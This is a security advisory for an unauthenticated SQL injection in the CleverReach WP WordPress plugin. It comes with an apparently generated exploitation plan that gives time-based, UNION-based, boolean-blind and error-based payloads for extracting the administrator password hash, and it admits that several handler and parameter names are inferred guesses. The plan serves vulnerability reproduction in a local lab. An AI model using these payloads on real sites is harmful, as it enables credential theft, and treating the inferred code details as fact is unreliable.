CleverReach® WP <= 1.5.21 - Unauthenticated SQL Injection
Description
The CleverReach® WP plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.21 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.5.21Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting the unauthenticated SQL injection vulnerability in the CleverReach® WP plugin (CVE-2025-68034). ### 1. Vulnerability Summary The CleverReach® WP plugin (<= 1.5.21) fails to properly sanitize and prepare a user-supplied parameter before using …
Show full research plan
This research plan focuses on identifying and exploiting the unauthenticated SQL injection vulnerability in the CleverReach® WP plugin (CVE-2025-68034).
1. Vulnerability Summary
The CleverReach® WP plugin (<= 1.5.21) fails to properly sanitize and prepare a user-supplied parameter before using it in a database query. Specifically, an unauthenticated AJAX handler likely concatenates a request parameter (e.g., form_id, id, or a hash) directly into a SQL statement. This allows an attacker to manipulate the query logic, leading to the extraction of sensitive data from the WordPress database, such as administrator password hashes and secret keys.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: The plugin registers
wp_ajax_nopriv_hooks. Based on the plugin's purpose (forms and subscriptions), the likely actions are:cleverreach_ajax_get_form(inferred)cleverreach_subscribe(inferred)
- Vulnerable Parameter: A parameter such as
form_id,crwp_id, orid. - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. A CleverReach form may need to be published or a specific shortcode must exist on a page to trigger the script localization that contains the necessary nonce (if enforced).
3. Code Flow (Trace)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith anactionparameter. - Hook Registration: The plugin registers a handler in its main class or an AJAX handler class:
add_action( 'wp_ajax_nopriv_cleverreach_ajax_get_form', array( $this, 'get_form_callback' ) );(inferred). - Parameter Extraction: Inside the callback (e.g.,
get_form_callback), the code retrieves input:$form_id = $_POST['form_id']; - Database Sink: The
$form_idis passed into a query method without$wpdb->prepare():$wpdb->get_results( "SELECT * FROM {$wpdb->prefix}cleverreach_forms WHERE form_id = " . $form_id );(inferred). - Execution: The SQL injection occurs as the attacker appends
UNION SELECTor boolean logic to the$form_id.
4. Nonce Acquisition Strategy
If the nopriv AJAX handler enforces a nonce check (which is common for WP plugins even if they are vulnerable to SQLi), follow these steps:
- Locate Script Localization: The plugin likely uses
wp_localize_scriptto pass a nonce to its frontend JS. - Identify Shortcode: Search the source for
add_shortcode. Likely:[cleverreach]. - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="CR Test" --post_content='[cleverreach]'(Note: You may need a valid form ID in the shortcode, e.g.,[cleverreach id="1"]).
- Extract Nonce:
- Navigate to the newly created page.
- Use
browser_evalto find the localization object. Look for strings likecleverreach_varsorcrwp_ajax. - JS Identifier:
window.cleverreach_vars?.nonceorwindow.cr_ajax_object?.security(inferred).
5. Exploitation Strategy
Step 1: Confirm Injection (Time-based)
We will first use a time-based sleep to confirm the vulnerability without needing to know the table structure.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=cleverreach_ajax_get_form&form_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&_wpnonce=[EXTRACTED_NONCE]
Step 2: UNION-Based Data Extraction
Once confirmed, we attempt to extract the admin password hash.
- Find Column Count: Iterate
ORDER BY Xuntil an error or change in response occurs. - Payload:
(Adjust column count based on results from Step 1).action=cleverreach_ajax_get_form&form_id=-1 UNION SELECT 1,2,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
6. Test Data Setup
- Plugin Installation: Ensure
cleverreach-wpversion 1.5.21 is installed. - Database Entry: Since the query likely targets a plugin-specific table, ensure at least one form exists so the original query doesn't return empty before the injection:
wp db query "INSERT INTO wp_cleverreach_forms (form_id, name) VALUES (1, 'Test Form');"(table name inferred). - Published Page: Create a page with the shortcode as described in Section 4.
7. Expected Results
- Time-based: The server response should be delayed by exactly 5 seconds.
- UNION-based: The response body (JSON or HTML) will contain a string starting with
$P$or$wp$2y$(the WordPress password hash for the administrator).
8. Verification Steps
After the exploit, verify the data using WP-CLI:
wp user get 1 --field=user_pass- Compare the hash returned by the HTTP request with the hash retrieved via WP-CLI. If they match, the SQL injection is confirmed.
9. Alternative Approaches
- Boolean-Based Blind: If the plugin returns different results for "Form Found" vs "Form Not Found" but suppresses SQL errors, use:
form_id=1 AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)>64 - Error-Based: If
WP_DEBUGis on, useupdatexml()orextractvalue()to force the hash into an error message:form_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1) - Different Actions: If
cleverreach_ajax_get_formis not the sink, grep the plugin forwp_ajax_noprivand check the callbacks for any usage of$wpdb->queryor$wpdb->get_results.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.